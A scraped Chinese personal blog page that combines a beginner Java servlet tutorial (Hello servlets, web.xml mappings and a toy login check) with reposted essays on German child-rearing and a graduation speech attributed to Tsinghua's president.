        = response.getWriter();
                    
                    pw.println(
        "<html>");
                    pw.println(
        "<body>");
                    pw.println(
        "<form action=loginCheck method=post>");
                    pw.println(
        "用户名:<input type=text name=username><br>");
                    pw.println(
        "密  码:<input type=password name=password><br>");
                    pw.println(
        "<input type=submit value=Login>");
                    pw.println(
        "</form>");
                    pw.println(
        "</body>");
                    pw.println(
        "</html>");
                }
                
        catch(Exception ex){
                    ex.printStackTrace();
                }
            }

             
        public void doPost(HttpServletRequest request, HttpServletResponse response)    {
                 
                 
        this.doGet(request,response);
                 
             } 
            
        }

        /**
         * @(#)LoginCheck.java
         *
         *
         * 
        @author 
         * 
        @version 1.00 2008/7/20
         
        */

        package com.keer2345;

        import javax.servlet.http.*;
        import java.io.*;

        public class LoginCheck extends HttpServlet {
            
            
        public void doGet(HttpServletRequest request, HttpServletResponse response)    {
                
                
        try {
                    String username 
        = request.getParameter("username");
                    String password 
        = request.getParameter("password");    
                        
                    response.setContentType(
        "text/html;charset=utf-8");
                    
                    PrintWriter pw 
        = response.getWriter();
                        
                    
        if (username.equals("keer2345"&& password.equals("keer2345"))    {
                        
                        pw.println(
        "<h1><center>Welcome!</center></h1>");
                        pw.println("<center><a href=login>Try again!</a></center>");
                        
                    }    
        else    {
                        response.sendRedirect(
        "login");
                    }
                                
                }
                
        catch (Exception ex) {
                    ex.printStackTrace();
                }
            }
            
            
        public void doPost(HttpServletRequest request, HttpServletResponse response)    {
                 
                 
        this.doGet(request,response);
                 
             }     
            
        }

        <?xml version="1.0" encoding="ISO-8859-1"?>

        <web-app xmlns="http://java.sun.com/xml/ns/javaee"
           xmlns:xsi
        ="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation
        ="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
           version
        ="2.5">
                
            
        <servlet>
                
        <servlet-name>login</servlet-name>
                
        <servlet-class>com.keer2345.Login</servlet-class>
            
        </servlet>
            
            
        <servlet-mapping>
                
        <servlet-name>login</servlet-name>
                
        <url-pattern>/login</url-pattern>
            
        </servlet-mapping>
            
            
        <servlet>
                
        <servlet-name>check</servlet-name>
                
        <servlet-class>com.keer2345.LoginCheck</servlet-class>
            
        </servlet>
            
            
        <servlet-mapping>
                
        <servlet-name>check</servlet-name>
                
        <url-pattern>/loginCheck</url-pattern>
            
        </servlet-mapping>
            
        </web-app>
      • Servlet01: 第一个servlet例子

        2009-03-12 17:21:01

        转载自  http://www.blogjava.net/keer2345/category/33155.html

         

        http://www.blogjava.net/keer2345/category/33155.html

         

        第一种方法:通过实现servlet接口的方式来开发。

        1、配置WEB-INF文件夹,内再建立classes和lib两个文件夹
        2、开发servlet(引入servlet-api.jar)

         1 //Hello.java
         2 
         3 package com.keer2345;
         4 
         5 import javax.servlet.*;
         6 import java.io.*;
         7 import javax.servlet.ServletConfig;
         8 import javax.servlet.ServletException;
         9 import javax.servlet.ServletRequest;
        10 import javax.servlet.ServletResponse;
        11 import java.io.IOException;
        12 
        13 public class Hello implements Servlet{
        14 
        15     public void init(ServletConfig parm1) throws ServletException {
        16         // TODO: Add your code here
        17     }
        18 
        19     public ServletConfig getServletConfig() {
        20         // TODO: Add your code here
        21         return null;
        22     }
        23 
        24     public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
        25         // TODO: Add your code here
        26         PrintWriter pw = response.getWriter();
        27         pw.println("Hello World!");
        28     }
        29 
        30     public String getServletInfo() {
        31         // TODO: Add your code here
        32         return null;
        33     }
        34 
        35     public void destroy() {
        36         // TODO: Add your code here
        37     }
        38     
        39 }


        3、部署servlet(web.xml)

         1 <?xml version="1.0" encoding="ISO-8859-1"?>
         2 
         3 <web-app xmlns="http://java.sun.com/xml/ns/javaee"
         4    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         5    xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
         6    version="2.5">
         7 
         8     <servlet>
         9         <servlet-name>hello</servlet-name>
        10         <servlet-class>com.keer2345.Hello</servlet-class>
        11     </servlet>
        12     
        13     <servlet-mapping>
        14         <servlet-name>hello</servlet-name>
        15         <url-pattern>/hello</url-pattern>
        16     </servlet-mapping>
        17 
        18 </web-app>



        4、启动tomcat,访问http://127.0.0.1:8080/keer2345/hello。


        第二种方法:通过继承GenericServle开发servlet

        HelloGen.java

         1 package com.keer2345;
         2 
         3 import javax.servlet.*;
         4 import javax.servlet.GenericServlet;
         5 import java.io.*;
         6 
         7 public class HelloGen extends GenericServlet {
         8 
         9     public HelloGen() {
        10     }
        11     
        12     public void service(ServletRequest request, ServletResponse response) {
        13         try {
        14             PrintWriter pw = response.getWriter();
        15             pw.println("Hello GenericServlet!");
        16         }
        17         catch(Exception ex) {
        18             ex.printStackTrace();
        19         }
        20     }    
        21     
        22 }



         

        第三种方法:通过继承HttpServlet开发Servlet

        HelloHttp.java

         1 package com.keer2345;
         2 
         3 import javax.servlet.http.*;
         4 import java.io.*;
         5 
         6 public class HelloHttp extends HttpServlet {
         7     
         8     public void doGet(HttpServletRequest request, HttpServletResponse response) {
         9         
        10         try {
        11             PrintWriter pw = response.getWriter();
        12             pw.println("Hello HttpServlet!");
        13         }
        14         catch(Exception ex) {
        15             ex.printStackTrace();
        16         }
        17         
        18     } 
        19     
        20     public void doPost(HttpServletRequest request, HttpServletResponse response) {
        21         
        22         this.doGet(request, response);
        23         
        24     }  
        25 }


        web.xml

         1 <?xml version="1.0" encoding="ISO-8859-1"?>
         2 
         3 <web-app xmlns="http://java.sun.com/xml/ns/javaee"
         4    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         5    xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
         6    version="2.5">
         7 
         8     <servlet>
         9         <servlet-name>hello</servlet-name>
        10         <servlet-class>com.keer2345.Hello</servlet-class>
        11     </servlet>
        12     
        13     <servlet-mapping>
        14         <servlet-name>hello</servlet-name>
        15         <url-pattern>/hello</url-pattern>
        16     </servlet-mapping>
        17     
        18     <servlet>
        19         <servlet-name>helloGen</servlet-name>
        20         <servlet-class>com.keer2345.HelloGen</servlet-class>
        21     </servlet>
        22     
        23     <servlet-mapping>
        24         <servlet-name>helloGen</servlet-name>
        25         <url-pattern>/helloGen</url-pattern>
        26     </servlet-mapping>
        27     
        28         <servlet>
        29         <servlet-name>helloHttp</servlet-name>
        30         <servlet-class>com.keer2345.HelloHttp</servlet-class>
        31     </servlet>
        32     
        33     <servlet-mapping>
        34         <servlet-name>helloHttp</servlet-name>
        35         <url-pattern>/helloHttp</url-pattern>
        36     </servlet-mapping>
        37 
        38 
        39 </web-app>

         

         

      • RSA与DES加解密示意图

        2009-03-04 23:28:12



         






















        欢迎交流!

      • 德国人怎样教育孩子

        2009-02-27 13:33:14

        德国人怎样教育孩子
        2008-12-08 15:41

        李宽宽 昆仑出版社

        前言

        德国人有这样一个恰当的比喻:教育孩子像是驾驶汽车一样。为了能够驾驶汽车进专门的学校,学习交通规则,考试合格后才可以得到上路的许可——而教育孩子比这更要复杂和困难。所以一些不懂教育的成年人的举止行为就像没有驾驶执照又被蒙住双眼的汽车司机一样,他们还要在上下班的交通高峰期驱车穿过大都市。

        孩子需要成年人培养他聪明的才智,但同时他也需要您为他树立起爱心、自信心、独立精神、责任感、对美的感悟等一系列的情操品质,不仅仅让孩子成为一个才华出众的人,他同时要拥有健康而美丽的心灵世界,有力量、有爱心,要使孩子成为一个平衡的优胜者,这才是我们教育的真正目的。

        19世纪初期普鲁士进行德国李尚上最重要的依次教育改革而是德国逐步成为欧洲教育的中心,国王在发表的宣言中强调公民素养对国家前途的重要性,并声称:“古往今来,从没有听说哪个国家是因为办教育而衰亡的。”


        第一章 成功的意识

        德国心理学家艾克里森把人生分为八个阶段,不同阶段的人们要面临各种挑战,作为儿童早提的4-5岁被成为“主动——内疚”的挑战,他认为家长如果在这一时期肯定孩子的主动性和想象,孩子就会赢得主动的心理优势,而相反,如果孩子在这一时期面临“内疚心理”的挑战失败,其精神世界就常会笼罩着自卑的阴云。从5-11岁属于“勤奋——自卑”的阶段,如果孩子能在鼓励和关注之下把事情完成的出色,他会逐渐与昂成勤奋的品质,而如果在次期间孩子作的事常受到冷遇和指责,他就会觉得自己很差劲,而避免接受新的工作。成年人对待工作的态度和习惯可以溯源到以上的阶段。

        教育心理学家罗森为证实“成就动机”是一种源于儿童早期的需要,与1959年曾作过这样的实验:他们在对儿童进行测试的同时设计了家长的参与,他们发现如果父母对孩子的成功给予希望、并不断给予孩子鼓励或提示积极的建议,他们的孩子会由此得到不断克服困难追求成功的强大动力,——这种教育心理学上称为“成就动机”,它是指人们在完成任务中力求获得成功的内部因素,是人们自己认为重要、有价值的时期乐意去做、并努力达到完美地步的一种内部推动力。而在类似的实验中我们还看到,如果父母对孩子能否完成任务期望值不高,总是试图为孩子做主,而且当孩子做不好时就激动不安,他们的孩子绝大部分对成就需要低,竞争意识不强,缺乏尽全力追求成功的意识。

        正因为孩子是稚嫩的状态存在在这世界上,所以他需要的才不是一味的呵护,而是面对世界、面对自己未来道路的有力支撑。“宝贝,你不能做这个,让我来做。”诸如此类的做法给孩子造成的心理暗示就是:“我不能单独作这个。其他的人必须帮助我。——如果我得不到不帮助,那就全完了。”


        第二章 诗与真

        孩子的年纪越是小,就越缺乏独立分析思考的能力,他们就越容易全盘地接受成年人的权威观点,在他们的世界只有单纯的两端,他们决定自己对别人友善的同时,也预期了别人对他们的感情。

        在成长的道路上等待孩子们的不一定都是优美的时期,同时还会有不高尚、不公正、不友好,要告诉孩子这些都是显示的存在,这些也是生活的“真”。孩子要投入生活,“诗”与“真”自然都要接触到,都要理解。这样他就不会怨天尤人,不会在心理上一败涂地,对他所遭遇的事情能够坦然而平和地接受,以至于以后才会拥有超越挫折的能力。


        第三章 上帝的礼物

        怎样发现有天才的人呢?
        实验内容包括对社会的态度、学习速度、注意力、可塑性、学习的强度、概括水平、独立思考能力等等。

        德意志民族系向来并不缺乏出众的天才,但与此同时,德国人似乎更注重勤奋坚毅的精神与后天的投入。因为这些是使庸才变为天才,使常人获得卓越成就的关键力量。

        在教育学上有一句名言:“婴儿降生的第三天开始教育,就迟了两天。”

        德国著名的音乐教师弗雷德克里·维克一心想把自己的女儿克拉拉培养成为音乐神童,但他同时也非常注意不让克拉拉进行超负荷的练习,他认为那样会抹杀孩子爱对于音乐的感觉。“我需要的是自己的灵感与深刻的理解,没有这些的艺术家只剩下可怜的满足感——对自己能够灵魂而机械地重复的满足感。”

        第四章 丹尼尔的选择
        在一次覆盖全球许多国家作的关于“你最希望早就下一代什么样的品质”的调查中,素以尊师重道而享誉世界的德国人却把“注重学识”这一点排在最后。但仔细想想也不难理解,在这样一个信息爆炸的时代,外在的知识量不断猛增,知识是传授不完的。所以在现代德国教育的价值取向中,重视的是孩子自身的主体性,唤醒他们处于自然状态的灵魂,陶冶他们的精神,最终使学生的个性潜能全面发挥出来,才是教育的首要任务。这样培养出来的人才不仅可以更充分地吸收学识,而且可以创造新的学识。

        教育的目的不是传授或接纳已有的东西,而是要从人生命深处唤起他沉睡的自我意识,这也是人作为个体的创造力、生命感、价值感的觉醒。教育的过程中不仅要从外部解放成长者,而且要解放成长者的内部力量,这才是成功的教育。

        婴儿身边照料他们的人会把自己的愉快、气氛、焦虑等情绪直接感染给婴儿,也就是说孩子在很小的时候就卷入了家长的喜怒哀乐之中。

        黑格尔断言:“伟大的人们立定了志向来满足他们自己,而不是满足别人。”

        第五章 大自然的力量

        只要不把孩子关闭在不透空气、不见阳光的环境中,那么,纵然是贫乏的大自然,也能使儿童的心灵得到欢乐,受到感染。

        第六章 前瞻与后顾

        要如何面对过去的错误,即使错误已不可挽回?要怎样面对现实的真相,即使真相是异常残酷的?

        这段话在德国家喻户晓:“你若失去了财产——你只失去一点;你若失去了荣誉——你就丢掉了许多;你若失掉了勇气,你就把一切都失掉了。”

        第七章 妈妈是球迷

        德意志的母亲不停地忙里忙外,直到把家里收拾的井井有条,达到自己严格的要求为止。孩子们受到母亲们的态度的耳濡目染,也促使他们形成勤奋与一丝不苟的精神。

        第八章 每个孩子都有一双翅膀

        现代学者们有这样一种观点:未来社会将淘汰另一种“文盲”,他们并非目不识丁,其中一部分可能还有很高的学历,但他们的能力封闭在被灌输的知识领域当中,不会进行发散性思维和创造性思维,这种现象在知识量迅速猛增的社会更具有普遍意义。

        “从众”的人们相当一部分都包括这样的性格特征:“缺乏自信、情绪不稳定而且容易焦虑、过分依赖他人、重社会秩序与权威,以及喜欢墨守成规或息事宁人。”由此可以看出对创造力的锻炼不仅仅是一个关乎智力水平、思维方式的问题,而且又回到人格与心理的培养上来。

        第九章 精神的魅力

        教育最终是要让学生掌握丰富的学识,这些人类已有的财富;还是要唤醒学生的自我意识,然后他们会把蕴藏在深处的潜能积极地发挥出来,调动自己的聪明才智和创造力不断探索,不断追求,这种可贵的主体性,正是人类无穷无尽的宝藏,也是德国现代教育所强调的核心问题。

        第十章 爱心的花蕾

        第十一章 背后的父亲
        在孩子的婴儿时期,与他最为接近的人通常是母亲,所以自然而然,孩子就形成了原始的对母亲的依赖关系。母亲在孩子身边,孩子会感觉安稳舒适,但伴随着这种情绪而产生了另外一种情绪,即孩子在单独面对陌生的外部世界的时候,难免会产生恐惧和焦虑。这时候会伸来父亲强有力的双手,带领孩子接触、探索和认识新鲜的世界。相反可以看到如果缺少父亲的陪伴,就很容易使孩子害怕接触家庭以往的事物,——这种感觉甚至会一直延续至成年时期。

        古希腊名言:“不受惩戒者也就是不可教育者。”

        孩子要懂得遵守纪律和养成健康的习惯必须要经过指点,需要有人来告诉他们,什么是好,什么是坏,哪里是不可逾越的雷池。

        严格管理当然不是冷酷的和迂腐的管理,更不是粗暴的和大发雷霆的管理,而是以严肃的手段和坚定的意志引导儿童到达目的,这种目的是儿童从心中承认恰恰是他们自己应到达的。

        第十二章 现代文明里的孩子
        孩子走在大小博物馆的络绎不绝的参观者的人流当中,很快会被人们严肃认真的求知态度所感染,由此我们能够看出社会环境对孩子教育的重要意义:孩子身边的成人是重物质享乐、还是重精神学识上的收获,通常会影响到孩子的价值取向。

        德国教育学家洪堡曾说过:“先教育自己吧,然后再用你成为的样子去影响别人。”

        父母对孩子的精神关怀所带来的幸福感和安稳感是任何物质的东西所不能代替的。与孩子的沟通不能只依靠冰箱上的便条,父母与孩子平常投入地谈心、游戏和手拉手等交流是孩子不可缺少的心理营养。

        第十三章 条条道路通罗马

        因为教育归根结底是以促进社会发展为其目标的,因此教育研究者们自然而然会把教育——劳动——经济三者有机地结合起来,考察他们之间相辅相成的关系。德国素以重视办教育而著称,但德国教育所努力的方向并不是要把所有的孩子都送进大学。因为大学作为学术研究和教学综合的统一体,它与具体的职业训练之间还是存在着一定距离。

        职业教育为劳动者带来的是娴熟的技巧和强烈的职业道德意识,因此它被成为是德国经济发展的“秘密武器”,这同时也使得德国与其他西方工业发达国家相比,失业率一直保持在低水平。

        因为在德国人的观念当中,普通教育如果没有包括手工艺的培训的教育,就不能完善地发挥出教育的效能,而一个能工巧匠在任何生活环境中都是宝贵的财富,同时朴实无华的手工艺常常使人头脑冷静,谦逊有礼。

        德国人特别注重实干多带来的物质价值与精神效果,这也证实德国人普遍具有高度的职业荣誉感的源泉。德国人的那种追求纪律性、凡事皆求完美的品质更在职业教育中得以继承和发扬光大。因此他们强调对孩子进行劳动技能的锻炼,这种传统意识使德国很多孩子从小经经常摆弄和操作物体、从事构造模型、进行科技活动、修理家具或电器,这也锻炼了孩子们的应用知识能力,技术活动实际操作和动手能力。

        青少年们也受到了严肃认真、一丝不苟的工作谨慎的感染,他们在心理上也罢自己当中有职业责任心和荣誉感的成年人来要求,激励做到精益求精、追求完美,——这种角色上的人体可以使青少年们更快地成熟起来。

        第十四章 游戏的庭院

        第十五章 心灵的乐感
        德国人的观念当中,一个人如果不懂得欣赏音乐,不具备普通的音乐知识或者不掌握一门乐器,就会被认为是文化修养上的一大缺憾。

        第十六章 我们开了一个家庭会议
        心理学家们的提议是,要建立一种积极健康的家庭沟通交流的关系,应该改变父母是决策人,孩子是接受者这样僵化的家庭角色的分配。父母在家庭教育中应该懂得进行角色交换,每一个家庭成员都可以对他表述的愿望予以积极的辩解。当孩子能够参与讨论家里的通常是成年人的问题时,他们才能够更好地理解父母,而父母一方面可以调动孩子的主动性,使自己清楚地认识到孩子的才干,另一方面可以得到有关自己教育的反馈信息。

        孩子从三岁起就可以加入类似与家庭会议这样的活动,“其他群体成员所讨论的东西,尽管孩子还不能每一个字都懂,但是孩子已经注意到,发生了什么事,人们互相间怎样交谈,解决一个问题需要具有什么样的能力。”

        根据心理学的研究,成功的家庭沟通,应该注意一下因素:理解、关怀、接纳、信赖和尊重。理解要求父母子女双方能够设身处地地为他人着想;关怀不但要存于内心,更要切实付诸于行动;接纳要求考虑到每个人的个性,懂得欣赏人们身上的优点;信赖是要做到既信任别人也信任自己;而尊重是指尊重他人、特别是孩子的权利,尊重他们的意见和选择。

        第十七章 大学生们

        第十八章 理智与情感
        美国的心理专家在研本国青少年犯罪问题时发现,这些孩子中的许多人来自富裕的有产阶级家庭。他们之所以走上歧路,就是因为太能轻易地获得一切,——以至于他们没有“界限”的概念,该做什么,不该做什么,在他们的头脑中缺乏清醒的分寸。

        曾有人问过德国的学生关于逃学的问题,那些孩子的回答是:“学生不上学?除非不想活!”在这一点上德国人的看法是一致的:只要有一个孩子不接受教育,社会将来就会多一个祸根。所以万一真有孩子逃学,成年人看到后会对其严厉呵斥,警察会将他扣留,社会、学校、和家庭对此的态度非常严格,会令孩子马上返校,而家长还要受到罚款或加税的处分。所有这些都是让孩子意识到,在上不上学的问题上是没有商量的余地的。

        随着父母对正确行为的反复迅雷和动之以情晓之以理的思想教育,时间一长成为自然,孩子就会把遵守这些规则当作自己的本分。于是物理是成年人还是孩子,都把维护公共纪律,爱护公共环境,在各种场合讲究文明和直线成为无可置疑的事情。在德国常可以看到人们在耐心地排队等候,或是为他人,为公众着想的举动,全社会形成一种高度自觉、井然有序的文明道德风尚。

        惩罚之前应该先对孩子予以警告,在孩子犯错以后就一定要言出必行,而且一定要对他讲清楚家长的要求和实施惩罚的原因,惩罚的开始和结束要明确,不要让家中一整天都弥漫着怨愤的气息。

        很多人在潜意识当中都会有把责任归咎于他人的念头,这在他们遭遇到个人的麻烦和挫折时尤其会显露出来。不成熟的人往往不去反思挫折和不想的真正根源,而是寻找一个代替的对象把责任推给它,比如孩子在考试不及格以后,认为问题完全出在老师和教育的身上,而即使是父母又是也会对孩子说,如果不是因为照顾你们和这个家庭,我早就取得事业上的成功了。

         

         

      • 清华大学校长给毕业生的讲话

        2009-02-27 13:15:58

        清华大学校长给毕业生的讲话

        清华大学校长给毕业生的一段话:未来的世界是,方向比努力重要,能力比知识重要,健康比成绩重要,生活比文凭重要,情商比智商重要!


            清华大学校长的这五个重要,从人力资源的角度来看,是本着以人为本精神的,根据马斯洛的需求理论,人的需求不仅仅是成绩和成就能够满足的,他们还需要安 全、需要爱、需要社会的认可、领导的肯定,还需要个人梦想的实现。未来的世界,充满了不确定性和风险性,谁能够在有限的时间和空间里尽早地做出正确的方向 选择,那么谁就将成为这个领域的领头羊、专家或者权威;方向比努力重要,现在是讲究绩效的时代,公司、企业、政府,需要的是有能力且能与企业方向共同发展 的人,而不是一味努力但却南辕北辙的人。


            自己适合哪些行业,哪些职业,有很多东西是先天决定的,只有充分地发掘自己的潜力,而不是总与自己的弱点对抗,一个人才能出人头地,就像现在很多企业招聘 的时候,他们相信通过培训和教育可以让火鸡学会爬树,但是还是觉得选个松鼠方便一些。方向不对,再努力、再辛苦,你也很难成为你想成为的那种人。


            能力比知识重要。知识在一个人的构架里只是表象的东西,就相当于有些人可以在答卷上回答如何管理企业、如何解决棘手的问题、如何当好市长等等,但是在现实 面前,他们却显得毫无头绪、不知所措,他们总是在问为什么会是这种情况,应该是哪种情况等等。他们的知识只是知识,而不能演化为能力,更不能通过能力来发 掘他们的潜力。现在很多企业都在研究能力模型,从能力的角度来观察应聘者能否胜任岗位。当然,高能力不能和高绩效直接挂钩,能力的发挥也是在一定的机制、 环境、工作内容与职责之内的,没有这些平台和环境,再高的能力也只能被尘封。


            健康比成绩重要。成绩只能代表过去,这是很多人已经认同的一句话。对于毕业后走入工作岗位的毕业生,学生阶段的成绩将成为永久的奖状贴在墙上,进入一个工 作单位,就预示着新的竞赛,新的起跑线。没有健康的身心,如何应对变幻莫测的市场环境和人生变革,如何应对工作压力和个人成就欲的矛盾?而且在现代社会, 拥有强健的身体已经不是最重要的,健康的心理越来越被提上日程,处理复杂的人际关系、承受挫折与痛苦、缓解压力与抑郁,这些都将成为工薪族乃至学生们常常 面对的问题。为了防止英年早逝、过早死,还是多注意一下身体和心理的健康投资吧。


            生活比文凭重要。曾经有一个故事,说有个记者问放羊的小孩,为什么放羊?答:为了挣钱,挣钱干啥?答:盖房子,盖房子干啥?答:娶媳妇,娶媳妇干啥?答: 生孩子,生孩子干啥?答:放羊!记得去年在人大听一个教授讲管理学基础课,他说你们虽然都是研究生,但很多人本质上还是农民!大家惊愕,窃窃私语。他说你 们为什么读研究生,很多人是不是想找个好工作,找好工作为了什么,为了找个好老婆,吃喝住行都不错,然后生孩子,为了孩子的前途更光明,这些不就是农民的 朴素想法吗?那个农民父母不希望自己的子女比自己更好?说说你们很多人是不是农民思想,什么时候,你能突破这种思维模式,你就超脱了。


            当这个社会看重文凭的时候,假文凭就成为一种产业,即使是很有能力的人,也不得不弄个文凭,给自己脸上贴点金。比起生活,文凭还重要吗?很多人找女朋友或 者男朋友,把学历当作指标之一,既希望对方能够给他/她伴侣的温暖与浪漫,又希望他/她知识丰富、学历相当或更高,在事业上能蒸蒸日上;我想说,你找的是 伴侣,不是合作伙伴,更不是同事,生活就是生活,这个人适合你,即使你是博士他/她斗大字不识一个,那也无所谓,适合就会和谐融洽,人比文凭更重要。很多 成功的人在回头的时候都说自己太关注工作和事业了,最遗憾的是没有好好陪陪父母、爱人、孩子,往往还伤心落泪,何必呢,早意识到这些,多给生活一些空间和 时间就可以了。我们没有必要活得那么累。


            情商比智商重要。这个就很有意思了,由Paniel GolemanRichard BoyatzisAnnie Mckee合著的《新领导--情商领导的艺术》一书中指出,在新的世纪,情商将成为成功领导中最重要的因素之一。书中举了一个911的例子,在许多员工和 自己的亲人因恐怖袭击丧生的时刻,某公司CEO Mark Loehr让自己镇定下来,把遭受痛苦的员工们召集到一起,说:我们今天不用上班,就在这里一起缅怀我们的亲人,并一一慰问他们和亲属。在那一个充满阴云 的星期,他用自己的实际行动帮助了自己和他的员工,让他们承受了悲痛,并把悲痛转化为努力工作的热情,在许多企业经营亏损的情况下,他们公司的营业额却成 倍上涨,这就是情商领导的力量,是融合了自我情绪控制、高度忍耐、高度人际责任感的艺术。

        经有个记者刁难一位企业家:听说您大学时某门课重考了很多次还没有通过。这位企业家平静地回答:我羡慕聪明的人,那些聪明的人可以成为科学家、工程师、 律师等等,而我们这些愚笨的可怜虫只能管理他们。要成为卓越的成功者,不一定智商高才可以获得成功的机会,如果你情商高,懂得如何去发掘自己身边的资源, 甚至利用有限的资源拓展新的天地,滚雪球似得积累自己的资源,那你也将走向卓越。


            在世界上出人头地的人,都能够主动寻找他们要的时势,若找不到,他们就自己创造出来——萧伯纳

         

         

        关于“清华大学校长曾给毕业生说过这样一段话”的一些不同意见
        2008-11-30 17:13


        清华大学校长曾给毕业生说过这样一段话:未来的世界是,方向比努力重要,能力比知识重要,健康比成绩重要,生活比文凭重要,情商比智商重要!

        这些我都同意,但是其中一个列举的例子我认为有待商榷。

          生活比文凭重要。曾经有一个故事,说有个记者问放羊的小孩,为什么放羊?答:为了挣钱。挣钱干啥?答:盖房子。盖房子干啥?答:娶媳妇。娶媳妇干啥?答:生孩子。生孩子干啥?答:放羊!记得去年在人大听一个教授讲管理学基础课,他说你们虽然都是研究生,但很多人本质上还是农民!大家惊愕,窃窃私语。他说你们为什么读研究生,很多人是不是想找个好工作,找好工作为了什么,为了找个好老婆,吃喝住行都不错,然后生孩子,为了孩子的前途更光明,这些不就是农民的朴素想法吗?哪个农民父母不希望自己的子女比自己更好?说说你们很多人是不是农民思想,什么时候,你能突破这种思维模式,你就超脱了。

        我们为了下一代过得更好不是朴实的农民思想,而是深植我们基因中的生物性,只有提供了更好的环境来培养下一代,才能在竞争中提高自己基因遗传下去的几率。争取遗传是每一种生物的本性,有了这种内驱力才是得生物不断进化。我们鄙视的是“放羊生娃”这种原地踏步的循环,没有进步和提高。历史是螺旋上升的,不能只有螺旋没有上升。下一代是过得更好的希望,如果置这种希望不顾,要超脱到哪里去呢?

         

         

         

      824/5<12345>
      Open Toolbar